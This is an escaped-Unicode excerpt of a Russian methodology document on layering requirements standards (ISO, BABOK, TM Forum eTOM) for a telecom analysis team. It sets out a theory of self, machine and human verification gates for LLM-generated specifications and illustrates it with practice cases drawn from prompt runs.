\u0441\u0430\u043c\u043e\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442, \u043d\u043e\\n  \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u043a\u0430\u0436\u0434\u043e\u0439 \u043d\u043e\u0440\u043c\u044b \u0443\u0442\u0440\u0430\u0447\u0435\u043d\u043e. \u0418\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 BABOK \u0438\u043b\u0438 \u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u043e\u0433\u043e\\n  \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0430 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0430 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f; \u0441\u0432\u043e\u0434 \u0434\u0440\u0435\u0439\u0444\u0443\u0435\u0442 \u0438 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f\\n  \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u043c \u0444\u043e\u043b\u044c\u043a\u043b\u043e\u0440\u043e\u043c.\\n\\n**\u0420\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u0443\u0440\u043e\u0432\u043d\u0435\u0439 \u0441\u043d\u0438\u043c\u0430\u0435\u0442 \u043a\u043e\u043d\u0444\u043b\u0438\u043a\u0442, \u0430 \u043d\u0435 \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442 \u0441\u0442\u043e\u0440\u043e\u043d\u0443.**\\n\\n## 2. Governance-\u0443\u0440\u043e\u0432\u0435\u043d\u044c: \u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u044f \u043a\u0430\u043a \u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u0435\u043b\u044c\u0442\\n\\n### 2.1. \u0421\u043b\u043e\u0438\\n\\n| \u0421\u043b\u043e\u0439 | \u041e\u0431\u043e\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 | \u0421\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 | \u041a\u0442\u043e \u0432\u043b\u0430\u0434\u0435\u0435\u0442 | \u041a\u0430\u043a \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f |\\n| --- | --- | --- | --- | --- |\\n| `L0` | \u0418\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u0430\u044f \u0431\u0430\u0437\u0430 | \u0427\u0442\u043e \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435\u043c, \u043a\u0430\u043a\u0438\u0435 \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u044b \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b, \u0447\u0442\u043e \u0442\u0430\u043a\u043e\u0435 \u0432\u0435\u0440\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0438 baseline. \u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438: [ISO/IEC/IEEE 29148:2018](https://www.iso.org/standard/72089.html), [BABOK Guide v3](https://www.iiba.org/career-resources/a-business-analysis-professionals-foundation-for-success/babok/), [ISO/IEC 25010:2023](https://www.iso.org/standard/78176.html), [\u0413\u041e\u0421\u0422 34.602-2020](https://docs.cntd.ru/document/1200181804) | \u0412\u043d\u0435\u0448\u043d\u0438\u0439 \u043e\u0440\u0433\u0430\u043d \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0438\u0437\u0430\u0446\u0438\u0438 | \u041d\u0435 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u043d\u0430\u043c\u0438; \u0432\u0435\u0440\u0441\u0438\u044f \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0438 \u043f\u0435\u0440\u0435\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u043e \u043a\u0430\u043b\u0435\u043d\u0434\u0430\u0440\u044e |\\n| `L1` | \u0414\u0435\u043b\u044c\u0442\u0430 \u043e\u0442\u0440\u0430\u0441\u043b\u0438 \u0418\u0422-\u0422\u0435\u043b\u0435\u043a\u043e\u043c | \u041e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u0430\u044f \u0434\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432: [TM Forum eTOM / ODA](https://www.tmforum.org/oda/), \u043f\u043e\u043d\u044f\u0442\u0438\u044f \u00ab\u0443\u0441\u043b\u0443\u0433\u0430\u00bb, \u00ab\u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u0435 \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u0435\u00bb, \u00ab\u043a\u0430\u043d\u0430\u043b\u00bb, \u0440\u0435\u0433\u0443\u043b\u044f\u0442\u043e\u0440\u0438\u043a\u0430 \u0441\u0432\u044f\u0437\u0438 | \u042d\u043a\u043e\u0441\u0438\u0441\u0442\u0435\u043c\u0430 (\u0425\u0430\u0431) | ADR/RFC \u0443\u0440\u043e\u0432\u043d\u044f \u0425\u0430\u0431\u0430 |\\n| `L2` | \u0414\u0435\u043b\u044c\u0442\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u041a\u041a \u041c\u0430\u043d\u0433\u043e | \u041b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u0441\u043e\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u044f: \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u0424\u0422/\u0422\u0417 \u0438\u0437 \u0448\u0435\u0441\u0442\u0438 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432, \u043d\u0443\u043c\u0435\u0440\u0430\u0446\u0438\u044f `4.1./4.1.1.`, BCREQ \u0438 \u0435\u0433\u043e \u0434\u0435\u0440\u0435\u0432\u043e, \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0446\u0438\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f Confluence \u0438 KB, 13 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0438 9 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 | \u041a\u043e\u043c\u0430\u043d\u0434\u0430 \u041a\u041a | ADR/RFC \u0443\u0440\u043e\u0432\u043d\u044f \u0441\u043f\u0438\u0446\u044b |\\n\\n**\u041f\u0440\u0430\u0432\u0438\u043b\u043e `D1` (\u0442\u043e\u043b\u044c\u043a\u043e \u0434\u0435\u043b\u044c\u0442\u0430).** \u0421\u043b\u043e\u0439 `L1` \u0438 `L2` **\u0414\u041e\u041b\u0416\u0415\u041d** \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e\\n....\\n**\u043e\u0431\u044f\u0437\u0430\u043d** \u0443\u043c\u0435\u0442\u044c \u043f\u043e\u0434\u043d\u044f\u0442\u044c \u0442\u0443\u0434\u0430 \u0432\u043e\u043f\u0440\u043e\u0441: \u043a\u0430\u043d\u0430\u043b \u043f\u043e\u0434\u044a\u0451\u043c\u0430 \u2014 \u0447\u0430\u0441\u0442\u044c \u0446\u0438\u043a\u043b\u0430, \u0430 \u043d\u0435\\n\u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0438\u0437 \u043d\u0435\u0433\u043e.\\n\\n## 5. \u0422\u0435\u043e\u0440\u0438\u044f \u0433\u0435\u0439\u0442\u043e\u0432\\n\\n\u0413\u0435\u0439\u0442 \u2014 \u0442\u043e\u0447\u043a\u0430, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u0435 \u0440\u0430\u0431\u043e\u0442\u044b \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f. \u0422\u0440\u0438 \u0442\u0438\u043f\u0430\\n\u0440\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f \u043d\u0435 \u0441\u0442\u0440\u043e\u0433\u043e\u0441\u0442\u044c\u044e, \u0430 **\u0442\u0435\u043c, \u0447\u0442\u043e \u0432\u043e\u043e\u0431\u0449\u0435 \u043c\u043e\u0436\u043d\u043e \u043d\u0430 \u043d\u0438\u0445 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c**.\\n\\n| \u0422\u0438\u043f | \u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 | \u0421\u0432\u043e\u0439\u0441\u0442\u0432\u043e | \u0421\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c |\\n| --- | --- | --- | --- |\\n| **\u0421\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 (`G-self`)** | \u0421\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u0445\u043e\u0434\u0430 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443: \u043f\u043e\u043b\u043d\u043e\u0442\u0430 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432, \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0435\u0432 \u043f\u0440\u0438\u0451\u043c\u043a\u0438, \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0441\u043c\u0435\u0448\u0435\u043d\u0438\u044f \u0443\u0440\u043e\u0432\u043d\u0435\u0439 | \u0414\u0451\u0448\u0435\u0432, \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c \u0432\u043d\u0443\u0442\u0440\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430; **\u043d\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c** \u2014 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u044e\u0449\u0438\u0439 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u0439 \u0441\u0443\u0442\u044c \u043e\u0434\u043d\u0430 \u043c\u043e\u0434\u0435\u043b\u044c \u0441 \u043e\u0434\u043d\u0438\u043c \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u043e\u043c | \u0441\u0435\u043a\u0443\u043d\u0434\u044b |\\n| **\u041c\u0430\u0448\u0438\u043d\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 (`G-mach`)** | \u0424\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e \u0440\u0430\u0437\u0440\u0435\u0448\u0438\u043c\u044b\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430: \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a, \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u0435 \u0446\u0438\u0442\u0438\u0440\u0443\u0435\u043c\u043e\u0433\u043e \u0440\u0430\u0437\u0434\u0435\u043b\u0430 KB, \u043d\u0443\u043c\u0435\u0440\u0430\u0446\u0438\u044f, \u0441\u0445\u0435\u043c\u0430, \u0437\u0430\u043f\u0440\u0435\u0449\u0451\u043d\u043d\u044b\u0435 \u043f\u043e\u043b\u044f | \u041d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c \u043e\u0442 \u043c\u043e\u0434\u0435\u043b\u0438, \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d; **\u043f\u0440\u0438\u043c\u0435\u043d\u0438\u043c \u0442\u043e\u043b\u044c\u043a\u043e \u043a \u0440\u0430\u0437\u0440\u0435\u0448\u0438\u043c\u044b\u043c \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430\u043c** | \u0441\u0435\u043a\u0443\u043d\u0434\u044b |\\n| **\u0427\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0439 \u0433\u0435\u0439\u0442 (`G-human`)** | \u041d\u0435\u0440\u0430\u0437\u0440\u0435\u0448\u0438\u043c\u044b\u0435 \u0438 \u043d\u0435\u043e\u0431\u0440\u0430\u0442\u0438\u043c\u044b\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f: \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u0434\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u0438, \u043f\u0440\u0438\u043d\u044f\u0442\u0438\u0435 \u0440\u0438\u0441\u043a\u0430, \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u0438\u044e \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430, \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 | \u0415\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439, \u0443 \u043a\u043e\u0433\u043e \u0435\u0441\u0442\u044c \u043f\u043e\u043b\u043d\u043e\u043c\u043e\u0447\u0438\u0435; \u0443\u0437\u043a\u043e\u0435 \u043c\u0435\u0441\u0442\u043e \u043f\u043e \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u043d\u043e\u0439 \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u0438 | \u0447\u0430\u0441\u044b\u2013\u0434\u043d\u0438 |\\n\\n**\u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u0440\u0430\u0437\u0440\u0435\u0448\u0438\u043c\u043e\u0441\u0442\u0438 `\u041a`.** \u0421\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a `G-mach`, \u0435\u0441\u043b\u0438 \u0435\u0433\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430\\n\u0441\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u043a \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u044e \u0441 \u0444\u0430\u043a\u0442\u043e\u043c, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c \u0432\u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u0438 (\u0444\u0430\u0439\u043b \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u0441\u0442\u0440\u043e\u043a\u0430\\n\u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0435\u0442, \u0441\u0445\u0435\u043c\u0430 \u0432\u0430\u043b\u0438\u0434\u043d\u0430). \u0421\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a `G-human`, \u0435\u0441\u043b\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\\n\u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044f \u0441 **\u043d\u0430\u043c\u0435\u0440\u0435\u043d\u0438\u0435\u043c**, \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043d\u0435\u0442 \u0432 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\u0445. \u0412\u0441\u0451 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u2014 `G-self`,\\n\u0438 \u0435\u0433\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0438\u043c\u0435\u0435\u0442 \u0441\u0442\u0430\u0442\u0443\u0441 *\u043f\u043e\u0434\u043e\u0437\u0440\u0435\u043d\u0438\u044f*, \u0430 \u043d\u0435 *\u0432\u0435\u0440\u0434\u0438\u043a\u0442\u0430*.\\n\\n**\u0423\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 `T-1` (\u043e \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438).** `G-self` \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0434\u0435\u0444\u0435\u043a\u0442,\\n\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435 \u0437\u0430\u0431\u043b\u0443\u0436\u0434\u0435\u043d\u0438\u0435 \u043c\u043e\u0434\u0435\u043b\u0438. \u0421\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430\\n\u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u0443\u0435\u0442 \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u0435 \u0444\u043e\u0440\u043c\u044b \u0438 \u043d\u0435 \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u0443\u0435\u0442 \u0443\u0432\u0435\u0440\u0435\u043d\u043d\u0443\u044e \u0432\u044b\u0434\u0443\u043c\u043a\u0443 \u0444\u0430\u043a\u0442\u0430. \u041e\u0442\u0441\u044e\u0434\u0430\\n\u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e: **\u0444\u0430\u043a\u0442\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u043e\u0431\u044f\u0437\u0430\u043d\u044b \u0438\u043c\u0435\u0442\u044c `G-mach`,\\n\u0430 \u043d\u0435 `G-self`** \u2014 \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0431\u044b \u0448\u0430\u0433\u043e\u0432 \u0441\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043d\u0438 \u0431\u044b\u043b\u043e. \u042d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u043e\u0435\\n\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u2014 \u043a\u0435\u0439\u0441 `C-1` \u0432\\n[`40-practice-and-cases.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/40-practice-and-cases.md).\\n\\n**\u0423\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 `T-2` (\u043e \u043d\u0435\u043e\u0431\u0440\u0430\u0442\u0438\u043c\u043e\u0441\u0442\u0438).** \u0413\u0435\u0439\u0442 \u043e\u0431\u044f\u0437\u0430\u043d \u0431\u044b\u0442\u044c \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c \u0442\u043e\u0433\u0434\u0430 \u0438\\n\u0442\u043e\u043b\u044c\u043a\u043e \u0442\u043e\u0433\u0434\u0430, \u043a\u043e\u0433\u0434\u0430 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043d\u0435\u043e\u0431\u0440\u0430\u0442\u0438\u043c\u043e \u0438\u043b\u0438 \u0435\u0433\u043e \u043e\u0442\u043c\u0435\u043d\u0430 \u0434\u043e\u0440\u043e\u0436\u0435, \u0447\u0435\u043c \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0435.\\n\u042d\u0442\u043e \u0442\u043e\u0442 \u0436\u0435 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439, \u0447\u0442\u043e \u0443\u0436\u0435 \u043f\u0440\u0438\u043c\u0435\u043d\u0451\u043d Mango (\u043f\u0440\u0430\u0432\u0438\u043b\u043e `B3`\\n....\\n\u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0434\u043e \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 \u0424\u0422 \u0440\u0430\u0437\u0434\u0435\u043b\u044f\u0435\u0442 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u043e\u0435 \u0442\u0435\u043a\u0443\u0449\u0435\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u043c\u0443\u044e\\n\u0434\u0435\u043b\u044c\u0442\u0443\u00bb.\\n\\n**\u0427\u0442\u043e \u043a\u0435\u0439\u0441 \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442.** \u042d\u0442\u043e \u0442\u043e\u0442 \u0436\u0435 \u043f\u0440\u0438\u043d\u0446\u0438\u043f \u0434\u0435\u043b\u044c\u0442\u044b, \u0447\u0442\u043e \u043f\u043e\u043b\u043e\u0436\u0435\u043d \u0432 \u043e\u0441\u043d\u043e\u0432\u0443\\ngovernance-\u0443\u0440\u043e\u0432\u043d\u044f ([`10-theory.md`](10-theory.md), \u043f\u0440\u0430\u0432\u0438\u043b\u043e `D1`), \u043d\u043e \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435\\n\u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u0433\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430: **\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0434\u043e\u043b\u0436\u0435\u043d \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0442\u043b\u0438\u0447\u0438\u0435**. \u0421\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u0435\\n\u043d\u0435 \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u043e \u2014 \u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u044f \u0438 \u0435\u0451 \u043f\u0440\u043e\u0434\u0443\u043a\u0442 \u043f\u043e\u0434\u0447\u0438\u043d\u044f\u044e\u0442\u0441\u044f \u043e\u0434\u043d\u043e\u043c\u0443 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0443, \u0438 \u044d\u0442\u043e\\n\u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442 \u0432 \u043f\u043e\u043b\u044c\u0437\u0443 \u0435\u0433\u043e \u043d\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0430 \u043d\u0435 \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u0433\u043e \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u044f \u0432 \u043a\u0430\u0436\u0434\u043e\u043c \u043f\u0440\u043e\u0433\u043e\u043d\u0435.\\n\\n\u0412\u0442\u043e\u0440\u043e\u0435 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435: \u0440\u0430\u0437\u0431\u043e\u0440 \u043e\u043f\u0435\u0440\u0438\u0440\u0443\u0435\u0442 \u043e\u0431\u043b\u0430\u0441\u0442\u044f\u043c\u0438 eTOM (Fulfillment \u043f\u0440\u043e\u0442\u0438\u0432\\nAssurance) \u0438 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0430\u043c\u0438 CBAP, \u0442\u043e \u0435\u0441\u0442\u044c \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a **\u0432\u044b\u043d\u0443\u0436\u0434\u0435\u043d\u043d\u043e \u0434\u043e\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u0442\\n\u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u0441\u043b\u043e\u0439 `L1`** \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u0438 \u0440\u0430\u0437\u043e\u0432\u043e. \u042d\u0442\u043e \u043f\u0440\u044f\u043c\u043e\u0435 \u044d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u043e\u0435\\n\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0440\u0430\u0437\u0440\u044b\u0432\u0430 `G-08` \u0438\u0437 [`30-decision-framework.md`](30-decision-framework.md).\\n\\n**\u0427\u0442\u043e \u0438\u0437 \u044d\u0442\u043e\u0433\u043e \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0434\u043b\u044f \u043d\u0430\u0432\u044b\u043a\u0430.** \u041c\u0430\u0442\u0440\u0438\u0446\u0430 `SSOT \u2192 \u0442\u0435\u043a\u0443\u0449\u0435\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u2192\\n\u0442\u0440\u0435\u0431\u0443\u0435\u043c\u0430\u044f \u0434\u0435\u043b\u044c\u0442\u0430 \u2192 FR \u2192 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043f\u0440\u0438\u0451\u043c\u043a\u0438` \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f **\u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u0432\u044b\u0445\u043e\u0434\u043e\u043c\\n\u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043d\u0430\u0432\u044b\u043a\u0430** `delta-baseline`, \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0433\u043e \u0434\u043e \u043d\u0430\u0432\u044b\u043a\u0430 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0441\\n`fail-closed` \u043d\u0430 \u043f\u0443\u0441\u0442\u043e\u043c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0435. \u0414\u0435\u0444\u0435\u043a\u0442 \u0431\u044b\u043b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d \u0447\u0435\u0440\u0435\u0437 \u0434\u0432\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u043f\u043e\u0441\u043b\u0435\\n\u0432\u043e\u0437\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u044f; \u0433\u0435\u0439\u0442 \u043d\u0430 \u0433\u0440\u0430\u043d\u0438\u0446\u0435 \u043d\u0430\u0432\u044b\u043a\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u0431\u044b \u0435\u0433\u043e \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e.\\n\\n## 4. \u041a\u0435\u0439\u0441 `C-3`: \u0440\u0430\u0437\u0440\u044b\u0432 \u043c\u0435\u0436\u0434\u0443 \u00ab\u043f\u0440\u043e\u043c\u043f\u0442 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442\u00bb \u0438 \u00ab\u043d\u043e\u0440\u043c\u0430 \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0430\u00bb\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a:** [RUN-0008](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs/2026/RUN-0008)\\n(`kb-citation-check`) \u0438 [RUN-0009](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs/2026/RUN-0009)\\n(`industry-standards-ab-check`).\\n\\n**\u0427\u0442\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u043b\u043e.** \u041e\u0431\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u2014 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f \u043d\u043e\u0440\u043c\u044b: \u0446\u0438\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0431\u0430\u0437\u044b\\n\u0437\u043d\u0430\u043d\u0438\u0439 \u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u044b\u0445 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043e\u0432. \u041e\u0431\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u044b **\u043a\u0430\u043a \u043f\u0440\u043e\u0433\u043e\u043d \u043c\u043e\u0434\u0435\u043b\u0438**,\\n\u043e\u0431\u0430 \u043e\u0441\u0442\u0430\u043b\u0438\u0441\u044c \u0432 